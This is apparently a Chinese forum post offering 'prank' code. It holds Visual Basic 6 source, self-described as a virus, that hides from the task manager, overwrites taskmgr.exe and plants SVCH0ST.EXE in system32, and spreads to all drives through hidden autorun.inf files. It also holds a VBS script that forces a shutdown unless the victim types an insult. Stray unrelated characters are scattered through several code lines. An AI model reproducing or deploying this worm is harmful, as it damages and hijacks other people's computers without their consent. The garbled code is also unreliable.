给几个VB整人程序的代码。。耍耍人。呵呵

Dim num, nums '驱动器数

Dim i As Integer '文件号

Dim j As Integer 'FOR用的变量!

Private Sub Form_Load() '程序初始化！

'不准重复运行本病毒！

If App.PrevInstance Then

End

End If

'在任务管理器中隐身！

App.TaskVisible = False

'病毒自我保护函数

a0

auts

'得到当前驱动器数！

a2

'设置时间：为5000 MS 检查一次(5秒)

t1.Interval = 5000

t1.Enabled = True

End Sub

Sub a0() '病毒自我保护函枝激则数

Dim temp As String

Dim temp2 As String

On Error Resume Next

temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"

'得到系统目录！得到后猛棚，自我复制铅山到SYSTEM32下！

For j = 0 To aa.ListCount - 1

temp2 = Trim(aa.List(j)) &"\windows"

If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

temp2 = Trim(aa.List(j)) &"\WINNT"

If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

GoTo zz1

Else

FileCopy temp, Trim(aa.List(j)) &"\winnt\system32\SVCH0ST.EXE"

FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\dllcache\taskmgr.exe"

End If

Else

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\SVCH0ST.EXE"

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\dllcache\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"

End If

zz1:

Next

End Sub

Sub a1() '感染函数

Dim temp As String

Dim temp2 As String

temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"

For j = nums + 1 To num

temp2 = Trim(aa.List(j)) &"\auto.exe"

FileCopy temp, temp2

i = FreeFile

Open Trim(aa.List(j)) &"\autorun.inf" For Output As #i

Print #i, "[Autorun]"

Print #i, "open=auto.exe"

Close #i

SetAttr Trim(aa.List(j)) &"\autorun.inf", vbHidden

SetAttr Trim(aa.List(j)) &"\auto.exe", vbHidden

Next

End Sub

Sub a2() '得到当前驱动器数！

num = aa.ListCount - 1

If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

i = FreeFile

Open "c:\.a" For Output As #i

Print #i, num

Close #i

End If

End Sub

Private Sub t1_Timer() '时间函数

num = aa.ListCount - 1

i = FreeFile

Open "c:\.a" For Input As #i

Line Input #i, nums

Close #i

nums = Trim(nums)

nums = Int(nums)

If num <>nums Then

If num >nums Then

a1

End If

If num <nums Then

i = FreeFile

Open "c:\.a" For Output As #i

Print #i, num

Close #i

End If

End If

aa.Refresh

End Sub

Sub bat() '写自我删除程序

On Error Resume Next

i = FreeFile

Open App.Path &"\killme.bat" For Output As #i

Print #i, "@echo off"

Print #i, "sleep 1000"

Print #i, "del " &App.EXEName + ".exe"

Print #i, "del killme.bat"

Print #i, "cls"

Print #i, "exit"

Close #i

Shell App.Path &"\killme.bat", vbHide

End

End Sub

Sub auts() '自我感染全驱动器

On Error GoTo err1

Dim file_temp As String

i = FreeFile

Open "c:\autorun.inf" For Output As #i

Print #i, "[Autorun]"

Print #i, "open=autorun.exe"

Close #i

file_temp = Trim(App.Path &"\" &App.EXEName &".exe")

FileCopy file_temp, "c:\autorun.exe"

SetAttr "c:\autorun.inf", vbHidden

SetAttr "c:\autorun.exe", vbHidden

Dim dirid As Integer

For dirid = 100 To 122

MsgBox Chr(dirid)

FileCopy "c:\autorun.exe", Chr(dirid) &":\autorun.exe"

FileCopy "c:\autorun.inf", Chr(dirid) &":\autorun.inf"

SetAttr Chr(dirid) &":\autorun.inf", vbHidden

SetAttr Chr(dirid) &" :\autorun.exe", vbHidden

Next

err1:

End Sub

后缀改为vbs

建立个TXT文档

输入：

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" "绝手,0 ,true

dim a

do while(a <>"我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说此氏","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell"并扒嫌)

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

保存后 重命名为 整人.VBS

然后 告诉你一下 这个关机时可以避免的 如果被别人整后 可以立马打开CMD 输入 shutdown -a

即可取消关机命令 然后使用任务管理器结束进程即可

---